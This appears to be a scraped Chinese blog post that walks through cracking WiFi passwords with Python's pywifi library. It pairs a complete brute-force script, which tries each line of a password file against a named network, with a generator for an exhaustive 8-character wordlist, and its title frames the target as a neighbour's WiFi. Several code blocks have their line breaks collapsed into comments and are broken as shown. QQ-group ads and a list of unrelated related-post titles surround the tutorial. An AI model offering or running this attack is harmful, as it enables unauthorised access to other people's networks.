今天给大家分享一个,使用Python破解wifi密码的代码

这个代码也是非常简单,用Python中的pywifi库

所以需要在DOS命令下安装这个库

同样使用pip install pywifi

需要注意一点,就是电脑必须是要用无线网卡

1.获取无线网卡

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

    wifi=pywifi.PyWiFi()#获取无线网卡ifaces=wifi.interfaces()[0]print(ifaces)

下面就是效果,但是它返回的是一个对象

使用这行代码就可以获取电脑无线网卡的名称:

 print(ifaces.name())

这个就是我的无线网卡

2.创建连接

要判断是否连接WiFi,我们需要导入一个常量库:

 from pywifi import const

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

 profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wasprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

        #删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return False

很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:810735403

3.读取密码本进行破解

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用下面代码生成,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。

    #密码本路径path="./password.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()

接下来就是完整的代码

破解wifi主体

# coding:utf-8
import pywifi
from pywifi import const
import time#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="aaa你猜"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="./password.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continuereadPassword()

随机生成密码

import itertools as its# 迭代器
number = "1234567890"
words = "abcdefghijklmnopqrstuvwyz"
te_su = ".!@#$%&*"# 生成密码本的位数,八位数,repeat=8
r = its.product(number+words+te_su, repeat=8)# 保存在文件中,追加
dic = open("./password.txt", "a")# i是元组
for i in r:# jion空格链接dic.write("".join(i))dic.write("".join("\n"))print(i)
dic.close()
print("密码本已生成")

具体教程

在这里还是要推荐下我自己建的Python开发交流学习(qq)群:810735403,群里都是学Python开发的,如果你正在学习Python ,欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2021最新的Python进阶资料和高级开发教程,欢迎进阶中和想深入Python的小伙伴!

震惊!手把手教你用Python破解邻家小妹wifi密码相关推荐

  1. 手把手教你用Python破解邻家小妹wifi密码

    今天给大家分享一个 使用Python 破解wifi密码的代码 这个代码也是非常简单 用Python中的pywifi库 所以需要在DOS命令下安装这个库 同样使用pip install pywifi 很 ...

  2. 怎么用python自制计算公式_手把手教你用python制作简易计算器,能够记录你使用的情况...

    话不多说,首先先看效果图,它能够记录你在使用过程中的历史,方便你查看是否有错: 接下来就仔细分析一下是如何制作的: 简易计算器 第一步:导入资源库 在过程中使用到了tkinter这个资源库,win+R ...

  3. python 靶心_手把手教你使用Python实战反欺诈模型|原理+代码

    原标题:手把手教你使用Python实战反欺诈模型|原理+代码 作者 | 萝卜 来源 | 早起Python(ID: zaoqi-python) 本文将基于不平衡数据,使用Python进行 反欺诈模型数据 ...

  4. 手把手教你用Python构建自己的「王二狗」

    题图 | 智能二狗聊天机器人 导读 在人手N部智能手机的时代,我们对聊天机器人早已不陌生.这两年很火的游戏群聊天机器人「王二狗」更是用它的机智幽默征服了很多人. 今天,我们将手把手教你用Python从 ...

  5. python global用法_14_手把手教你学Python之函数(下)

    变量作用域:根据变量定义的位置,可将变量分为全局变量和局部变量. 全局变量:定义在函数外面的变量,可以在多个函数中进行访问,但不能执行赋值操作.如果有赋值语句,相当于创建了一个同名的局部变量: 局部变 ...

  6. python编程例子 输入 输出-推荐 :手把手教你用Python创建简单的神经网络(附代码)...

    原标题:推荐 :手把手教你用Python创建简单的神经网络(附代码) 作者:Michael J.Garbade:翻译:陈之炎:校对:丁楠雅 本文共2000字,9分钟. 本文将为你演示如何创建一个神经网 ...

  7. python界面设计-手把手教你用Python设计一个简单的命令行界面

    原标题:手把手教你用Python设计一个简单的命令行界面 对 Python 程序来说,完备的命令行界面可以提升团队的工作效率,减少调用时可能碰到的困扰.今天,我们就来教大家如何设计功能完整的 Pyth ...

  8. python代码示例图形-纯干货:手把手教你用Python做数据可视化(附代码)

    原标题:纯干货:手把手教你用Python做数据可视化(附代码) 导读:制作提供信息的可视化(有时称为绘图)是数据分析中的最重要任务之一.可视化可能是探索过程的一部分,例如,帮助识别异常值或所需的数据转 ...

  9. python正确的输入语句_手把手教你在python中如何使用while True语句

    在学习过程中,经常能遇到采用while True的用法.下面以一个例子进行说明: 建立一个用户登录系统,用户输入用户名和密码,如果正确就可以进入系统. 1.我自己最开始的写法:d = {} #数据库字 ...

最新文章

  1. Android Studio编译好的apk放在哪里?
  2. 死磕 java集合之ArrayDeque源码分析
  3. ABAP:FTP Using SAP Functions
  4. 如何搭建Docker私有仓库
  5. angular 权限 php,PHP,Angular,HTACCESS-仅允许来自源域的请求
  6. python中除法 / 和// 区别 以及np.divide,np.true_divide,np.floor_divide方法区别
  7. 【Python】【Python语言】Python3.7.2的关键字模块(keyword module)
  8. 测试开发之缺陷报告上篇
  9. mysql密码正确却提示错误,不使用密码反而能登录
  10. iOS Coding项目片段记录(五)
  11. base64编码_动画演示 Base 64 编码
  12. [笔记]远传中继的实现
  13. Aerial为苹果而生,一款炫酷的Mac屏幕保护程序
  14. 读后:水浒的水有多深
  15. 什么是鸭子类型(duck typing)
  16. 第二类斯特林数 - Push Botton Lock(POJ 3088)
  17. 7-7 阿泽的交友标准 (10 分)
  18. 赠书!《R语言数据分析与可视化从入门到精通》
  19. mysql插入中文报错处理办法
  20. 端口转发lcx工具+nc反弹工具使用

热门文章

  1. c语言controlled变量的作用,Gate-controlled A-C switch
  2. 关于自然数系统的无矛盾性
  3. guest vlan
  4. 怎样用谷歌浏览器测试软件性能,chrome插件:网站性能检测工具lighthouse
  5. Java day09面向对象综合训练
  6. 华为AC+AP综合实验
  7. iPhone 15 被迫用上 Type-C 接口
  8. 法拉第效应维尔德常数_什么是法拉第效应?
  9. IDEA写API文档的两种方法
  10. Linux数独小游戏C语言,发一个自己制作的数独游戏代码!